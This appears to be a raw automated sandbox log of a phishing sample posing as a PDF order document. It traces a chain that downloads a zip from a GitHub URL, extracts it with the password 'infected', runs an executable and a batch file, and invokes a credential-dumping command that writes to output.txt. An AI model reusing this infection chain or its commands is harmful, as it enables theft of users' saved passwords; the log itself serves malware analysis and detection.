Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8068:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6872:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9516:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9340:120:WilError_03

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 21-36-34-092.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "

Source: C:\Users\user\Downloads\Chrom.exe

System information queried: HandleInformation

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe

File read: C:\Users\desktop.ini

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: Chrom.exe, 00000014.00000003.2023888514.00000000006D7000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2025789088.0000000002143000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080764013.0000000002151000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.0000000000638000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2543575565.0000000002211000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.0000000000787000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2491570026.0000000002311000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000002.2595077620.0000000002081000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2545520017.0000000000678000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2530850761.0000000000727000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: Reversed order 24-25.pdf

ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Reversed order 24-25.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1668,i,10576032088351442596,11670863866323288615,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://github.com/donmodely2k/poczta.github.io/raw/refs/heads/main/Reversed%20order%2024-25.zip"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2004,i,470050492162983817,17432181948890378544,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Reversed order 24-25.zip"
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\giv5wpek.rbk" "C:\Users\user\Downloads\Reversed order 24-25.zip"
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe "C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe"
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.woluntech.com/oders-pdf/
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1984,i,1009906333023081742,3972239843307581184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
